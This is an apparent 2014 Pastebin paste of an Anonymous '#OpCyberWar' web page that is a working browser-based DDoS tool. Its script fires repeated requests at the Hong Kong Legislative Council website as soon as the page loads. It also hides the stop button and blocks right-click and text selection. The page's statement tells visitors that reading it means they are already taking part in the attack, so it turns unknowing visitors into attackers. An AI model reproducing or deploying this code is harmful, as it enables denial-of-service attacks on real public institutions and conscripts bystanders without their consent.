Anon-T

#Ops Cyber War Auto Fire Code

Jun 27th, 2014
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 5.59 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>[#OpCyberWar] -- [Dev By Messiah-T]</title>
  6. <style type="text/css">
  7. body {
  8.     background: url("http://dl.dropbox.com/u/29637731/H4X0R3D/background.png");
  9.     background-repeat: repeat;
  10.     background-position: right;
  11.     background-attachment: fixed;
  12.     margin-top: 5%;
  13.     margin-bottom: 5%;
  14.     margin-left: 15%;
  15.     margin-right: 15%;
  16.     font-family:"Courier New", Courier, monospace;
  17.     color: #808080;
  18. }
  19. fieldset {
  20.     border-style: none;
  21.     margin: 10px;
  22. }
  23. p {
  24.     margin: 0;
  25. }
  26. input {
  27.     margin: 0;
  28.     background-color: transparent;
  29.     border: none;
  30.     text-align: center;
  31.     font-family:"Courier New", Courier, monospace;
  32.     color: #808080;
  33. }
  34. </style>
  35. <script language="JavaScript">
  36. <!-- Disable
  37.     function disableselect(e){
  38.         return false
  39.     }
  40.     function reEnable(){
  41.         return true
  42.     }
  43. //if IE4+
  44. document.onselectstart=new Function ("return false")
  45. document.oncontextmenu=new Function ("return false")
  46. //if NS6
  47. if (window.sidebar){
  48.     document.onmousedown=disableselect
  49.     document.onclick=reEnable
  50. }
  51. //-->
  52. </script>
  53. </head>
  54. <body onLoad="type()">
  55. <fieldset>
  56. <div id="title" align="center">
  57.   <p><font size="+3" color="#FF0000">[</font><font size="+3"></font><font size="+3" color="#FF0000">#</font><font size="+3">OpCyberWar</font><font size="+3" color="#FF0000">]</font></p>
  58.   <p><font size="+3" color="#FF0000"> -- </font></p>
  59.   <p><font size="+3" color="#FF0000">[</font><font size="+3">Anonymous(Asian)</font><font size="+3" color="#FF0000">]</font></p>
  60. </div>
  61. <br><br>
  62. <div id="statement" align="center">
  63. Greeting Citizen Of The World<br />
  64. We are Anonymous<br />
  65. <br />
  66. BEGIN ANONYMOUS DOESN'T MEANS YOUR ARE HACKER OR ANY CRIME.
  67. <br />
  68. <br />
  69. When you are looking down of this ststaemeny you are finished support the #Ops of the DDoS Attack. Thank you very much of supporting our operation to fight for the justices.<br />
  70. <br />
  71. We are Legion<br />
  72. We Do Not Forget<br />
  73. We Do Not Forgive<br />
  74. Expect Us
  75. <br><br>
  76.  
  77.  
  78. </div>
  79. <div id="hive" align="center">
  80. <font color="#FF0000">[</font>TARGET<font color="#FF0000">]</font><br>
  81. <input name="target" id="target" size="100" value="http://www.legco.gov.hk/"><br><br>
  82. <font color="#FF0000">[</font>REQUESTS<font color="#FF0000">]</font><br>
  83. <input id="requests" size="100" value="9999"><br><br>
  84. <font color="#FF0000">[</font>MESSAGE<font color="#FF0000">]</font><br>
  85. <input id="message" size="100" value="#Ops Cyber War From China"><br><br>
  86. <font color="#FF0000">[</font>STATUS<font color="#FF0000">]</font><br>
  87.  
  88. REQUESTS <p id="requested">0</p>
  89. SUCCEDED <p id="succeeded">0</p>
  90. FAILED <p id="failed">0</p><br>
  91. <button id="fire" style="background-color:#000000; visibility:hidden; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); display: none;"> STOP! </button><br><br><br>
  92. </div>
  93. <script>
  94. (function () {
  95.     var fireInterval;
  96.     var isFiring = false;
  97.     var currentTime = new Date();
  98.     var lastSuccess = currentTime.getTime();
  99.  
  100.     var requestedNode = document.getElementById("requested"),
  101.         succeededNode = document.getElementById("succeeded"),
  102.         failedNode = document.getElementById("failed"),
  103.         targetNode = document.getElementById("target"),
  104.         fire = document.getElementById("fire"),
  105.         messageNode = document.getElementById("message"),
  106.         requestsNode = document.getElementById("requests"),
  107.         timeoutNode = document.getElementById("timeout");
  108.  
  109.     var target = targetNode.value;
  110.         targetNode.onchange = function () {
  111.         target = this.value;
  112.     };
  113.  
  114.     var requestsHT = {};
  115.  
  116.     var requested = 0,
  117.         succeeded = 0,
  118.         failed = 0;
  119.  
  120.     var makeHttpRequest = function () {
  121.         if ( (currentTime.getTime()-lastSuccess) > 10000) {
  122.             return;
  123.         } else {
  124.             lastSuccess = currentTime.getTime();
  125.         };
  126.  
  127.     var rID =Number(new Date());
  128.  
  129.     var img = new Image();
  130.         img.onerror = function () { onFail(rID); };
  131.         img.onabort = function () { onFail(rID); };
  132.         img.onload = function () { onSuccess(rID); };
  133.         img.setAttribute("src", target + "?id=" + rID + "&msg=" + messageNode.value);
  134.         requestsHT[rID] = img;
  135.         onRequest(rID);
  136.         };
  137.  
  138.     var onRequest = function (rID) {
  139.         requested++;
  140.         requestedNode.innerHTML = requested;
  141.         };
  142.  
  143.     var onComplete = function (rID) {
  144.     delete requestsHT[rID];
  145.     };
  146.  
  147.     var onFail = function (rID) {
  148.         // failedCtr++;
  149.         //failedCtrNode.innerHTML = failedCtr;
  150.         succeeded++; //Seems like the url will always fail it it isn't an image
  151.         succeededNode.innerHTML = succeeded;
  152.     delete requestsHT[rID];
  153.     };
  154.  
  155.     var onSuccess = function (rID) {
  156.         succeeded++;
  157.         succeededNode.innerHTML = succeeded;
  158.         delete requestsHT[rID];
  159.     };
  160.  
  161.     fire.onclick = function () {
  162.         if (isFiring) {
  163.             clearInterval(fireInterval);
  164.             isFiring = false;
  165.             this.innerHTML = "FIRE!";
  166.         } else {
  167.             isFiring = true;
  168.             this.innerHTML = "STOP!";
  169.             fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  170.             }
  171.         };
  172.  
  173.     function start() {
  174.         if (isFiring) {
  175.             clearInterval(fireInterval);
  176.             isFiring = false;
  177.             this.innerHTML = "FIRE!";
  178.         } else {
  179.             isFiring = true;
  180.             this.innerHTML = "STOP";
  181.             fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  182.         }
  183.     };
  184.     document.getElementById("target").value = "http://www.legco.gov.hk/";
  185.     start();
  186.     })();
  187. </script>
  188. <div id="footer" align="center"><font color="#FF0000"># [</font>HACK TEAM DEV<font color="#FF0000">] -- [</font>ANONYMOUS<font color="#FF0000">] #</font></div>
  189.  
  190. </fieldset>
  191. </body>
  192. </html>
Advertisement
Add Comment
Please, Sign In to add comment